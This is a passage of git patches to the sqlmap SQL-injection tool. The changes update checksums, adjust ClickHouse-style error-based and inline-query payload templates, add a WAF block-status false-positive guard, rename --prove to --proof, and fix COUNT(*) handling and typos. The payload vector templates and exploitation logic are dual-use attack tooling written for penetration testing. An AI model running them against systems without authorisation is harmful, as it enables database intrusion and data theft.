lib/core/optiondict.py +8084a0efe82bf3d3ff98f988bc6227d72ca015ac665afee9a8afc09afac2be52 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c5bd1d6e862412495961bee8513e9e2f78a8f90ca15fdc53a87f221b84f9ab70 lib/core/settings.py +5edba86522bc49aa6caf80118fc560610e76cc7f35a3c3c09a8052747a3b97ef lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -c39dae0602b356d42f55df369c05614bbfb00c2abf2f0419fefe2ae781aa3098 lib/core/testing.py +a43da1fc59cbc48698db34dc3516967910c84ef5945cf5423c2954acd54fe898 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -14b2fcfa2d6c3a155e3b85f093929c6129893ad191d1988a717daa1ffbb422e7 lib/parse/cmdline.py +8c18ec0dc54dd313033408d7f55556d2068dbbafd9dd92a759d770843a680fd9 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -217,7 +217,7 @@ ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/co cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py -aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py +7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -237,11 +237,11 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py 2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py -ee63b978154b0cb9a385fe51926ef6dc6f425b07f62b0d17208e82b4ac020f5c lib/techniques/error/use.py +5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -5b49f5bca4e35362fa7d83896e0769fdb01ad152f30059aafd8ce0f093400a3f lib/techniques/union/use.py +0a9d884d95734986a628e5846ed85c985a96534fb0c56f9d7042a89377801bc2 lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -255,7 +255,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py -0aeb890fb6b0783f25df7c1ba7c9d0098325b4f7a677ff0151e411be24760f04 lib/utils/prove.py +c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py @@ -400,7 +400,7 @@ ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/m 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21 plugins/dbms/mssqlserver/syntax.py -57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639 plugins/dbms/mssqlserver/takeover.py +099f17ba54181e0dc4da721db6a2ef52f6b8e57adeaf69248500754f4ecf398d plugins/dbms/mssqlserver/takeover.py 275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578 plugins/dbms/mysql/connector.py 51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba plugins/dbms/mysql/enumeration.py 5114ca85e5aac6eaebf2ca2cf6b944250329d2d5c36a36015ac34599c9437838 plugins/dbms/mysql/filesystem.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 90bed48b231..1e237c9f649 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -880,7 +880,7 @@ <risk>1</risk> <clause>1,2,3,9</clause> <where>1</where> - <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> @@ -899,7 +899,7 @@ <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> - <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 7269be695c4..5b28c05a80d 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -141,7 +141,7 @@ <risk>1</risk> <clause>1,2,3,8</clause> <where>3</where> - <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 71d86f054ab..c450aa1d7f3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -94,6 +94,7 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER +from lib.core.settings import WAF_BLOCK_HTTP_CODES from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request @@ -588,6 +589,18 @@ def genCmpPayload(): break if injectable: + # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that + # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403) + # while the FALSE condition passes (2xx) is the WAF answering, not the database. + # A real boolean injection's TRUE condition reproduces the normal page, so this + # status-code asymmetry is the classic false positive - refuse it here. + if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400: + warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) + warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive" + logger.warning(warnMsg) + injectable = False + continue + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode diff --git a/lib/controller/controller.py b/lib/controller/controller.py index afe65d9d7f4..bd3418d35a5 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -817,7 +817,7 @@ def start(): try: action() finally: - if conf.prove: + if conf.proof: from lib.utils.prove import proveExploitation proveExploitation() diff --git a/lib/core/agent.py b/lib/core/agent.py index ea0f206b7a0..67b5d885762 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -827,7 +827,7 @@ def concatQuery(self, query, unpack=True): def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ - Take in input an query (pseudo query) string and return its + Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 7b8bb595bce..0f2b50b142e 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -210,9 +210,9 @@ def _dump(self, chunk): except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex - errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "make sure that there is enough disk space left. If the problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " - errMsg += "writeable by the current user" + errMsg += "writable by the current user" raise SqlmapSystemException(errMsg) def _checkcache(self, index): diff --git a/lib/core/common.py b/lib/core/common.py index 6ec8a9572c5..2d4c7bc51d5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2761,7 +2761,7 @@ def getPartRun(alias=True): def longestCommonPrefix(*sequences): """ - Returns longest common prefix occuring in given sequences + Returns longest common prefix occurring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 @@ -3158,7 +3158,7 @@ def getPublicTypeMembers(type_, onlyValues=False): def enumValueToNameLookup(type_, value_): """ - Returns name of a enum member with a given value + Returns name of an enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' diff --git a/lib/core/option.py b/lib/core/option.py index 118ba15aef8..5cb69d297d2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -608,7 +608,7 @@ def _setMetasploit(): else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath - warnMsg += "be that the path does not exists or that one " + warnMsg += "be that the path does not exist or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" @@ -1675,9 +1675,9 @@ def _createTemporaryDirectory(): except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) - warnMsg += "make sure that there is enough disk space left. If problem persists, " + warnMsg += "make sure that there is enough disk space left. If the problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " - warnMsg += "writeable by the current user" + warnMsg += "writable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1631bd0517e..af5c5ab6b84 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -100,7 +100,7 @@ "prefix": "string", "suffix": "string", "tamper": "string", - "prove": "boolean", + "proof": "boolean", }, "Detection": { diff --git a/lib/core/settings.py b/lib/core/settings.py index faf1d11db58..dfc4af21049 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.122" +VERSION = "1.10.6.123" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -54,6 +54,11 @@ # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean +# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code +# false positive) rather than the back-end actually answering. +WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) + # Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value # (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection diff --git a/lib/core/testing.py b/lib/core/testing.py index 8ab1aaa1aa2..e082dce197b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -61,7 +61,7 @@ def vulnTest(): ("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat - ("-u <url> -p id --flush-session --prove", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --prove: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f3e99ecf433..1ef639ed6b0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -375,7 +375,7 @@ def cmdLineParser(argv=None): injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") - injection.add_argument("--prove", dest="prove", action="store_true", + injection.add_argument("--proof", dest="proof", action="store_true", help="Prove exploitation of the detected injection point(s)") # Detection options diff --git a/lib/request/inject.py b/lib/request/inject.py index 2bb641acad8..417b638d786 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -162,8 +162,8 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ - Retrieve the output of a SQL query characted by character taking - advantage of an blind SQL injection vulnerability on the affected + Retrieve the output of a SQL query character by character taking + advantage of a blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ @@ -209,9 +209,11 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char test = False if test: - # Count the number of SQL query entries output - countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] - countedExpression = expression.replace(expressionFields, countFirstField, 1) + # Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not + # COUNT(<first field>) - the latter excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. dumping a single column whose value is NULL on some rows). + countField = queries[Backend.getIdentifiedDbms()].count.query % '*' + countedExpression = expression.replace(expressionFields, countField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 2eb38c1c46e..4b5a645c51e 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -326,8 +326,10 @@ def errorUse(expression, dump=False): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 59ce5de670c..bb008579feb 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -295,8 +295,10 @@ def unionUse(expression, unpack=True, dump=False): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/utils/prove.py b/lib/utils/prove.py index f435e6b371b..af11306c930 100644 --- a/lib/utils/prove.py +++ b/lib/utils/prove.py @@ -104,12 +104,16 @@ def _signalArtifacts(expression): return None, None -def _proveBoolean(injection): +def _proveBoolean(injection, signal=None): """ Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two page titles - so a reader sees exactly what tells TRUE from FALSE. + + When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based? + and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF) + artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer. """ retVal = [] @@ -128,6 +132,10 @@ def _proveBoolean(injection): trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + if signal is not None: + signal["codeBased"] = bool(injection.conf.code) + signal["trueCode"], signal["falseCode"] = trueCode, falseCode + if injection.conf.string: retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) elif injection.conf.notString: @@ -277,7 +285,7 @@ def _retrieveProof(): def proveExploitation(): """ Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point - (option '--prove'), in the same style as sqlmap's injection-point summary so it reads naturally: the + (option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the target URL and the confirmed injection point (parameter / type / title / payload), then the strongest proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the @@ -290,11 +298,12 @@ def proveExploitation(): injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + signal = {} saved = _activateInjection(injection) try: if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: stype = PAYLOAD.TECHNIQUE.BOOLEAN - proof = _proveBoolean(injection) + proof = _proveBoolean(injection, signal) elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED proof = _proveTime(injection) @@ -330,16 +339,40 @@ def proveExploitation(): if sdata.payload: payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) fields.append(_field("Payload", payload)) - if proof: - fields.append(_field("Proof", proof)) - if rungs: + # Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that + # distinguishes a real injection from a differential that merely correlates with the payload. A + # WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when + # FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so + # the differential alone is exactly the signal detection already (mis)read. If nothing could be read + # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict. + proven = bool(rungs) + + if proven: + if proof: + fields.append(_field("Proof", proof)) for label, text in rungs: fields.append(_field(label, text)) + header = "sqlmap proved exploitation of the following injection point" else: - fields.append(_field("Retrieved", "(no value could be read back; the proof above still confirms exploitation)")) + if proof: + fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed + suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400 + wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs) + verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"] + if suspectWaf: + verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode")) + if wafInterfering: + # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval + # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false + # positive", point the user at the way to disambiguate instead + verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive") + verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove") + else: + verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE") + fields.append(_field("Verdict", verdict)) + header = "sqlmap could NOT prove exploitation of the reported injection point" data = "\n".join(fields) - header = "sqlmap proved exploitation of the following injection point" conf.dumper.string(header, data) try: diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 53c1b078720..23a10b318a4 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -61,7 +61,7 @@ def spHeapOverflow(self): break if not addrs: - errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg = "sqlmap cannot exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) From a2d44a7a16060a93e873164e980d0783ef713538 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Fri, 19 Jun 2026 00:55:11 +0200 Subject: [PATCH 579/853] Minor patching --- data/txt/sha256sums.txt | 14 +++++------ data/xml/payloads/error_based.xml | 38 +++++++++++++++++++++++++++++ data/xml/queries.xml | 6 ++--- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/presto/enumeration.py | 11 ++------- plugins/dbms/presto/fingerprint.py | 21 ++++++++++++++++ 8 files changed, 74 insertions(+), 21 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 18bc616082f..993c89b1dc2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,12 +79,12 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -6ebf0da74b18c95aee4fd4fc2874bda4b3780dc4254806f3968b953fa01bdca1 data/xml/payloads/error_based.xml +2da9159c066c66b47767f66e8c46ed94394f9511940c32e6adf454126197443b data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -38882b6ceb8bca59ce8ed927abe3b8840394c56b3881371c2103e229b8795040 data/xml/queries.xml +f01093d5a1ff6a58653e7058a93e15801d9446f1f2c5de5b5d1054f17dd1ad44 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -177,7 +177,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py 2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py -e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums.py +6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5edba86522bc49aa6caf80118fc560610e76cc7f35a3c3c09a8052747a3b97ef lib/core/settings.py +25506d477075d1a33849a4db1058e1fb0cc98100e714c1afa0e7e98cad2f2901 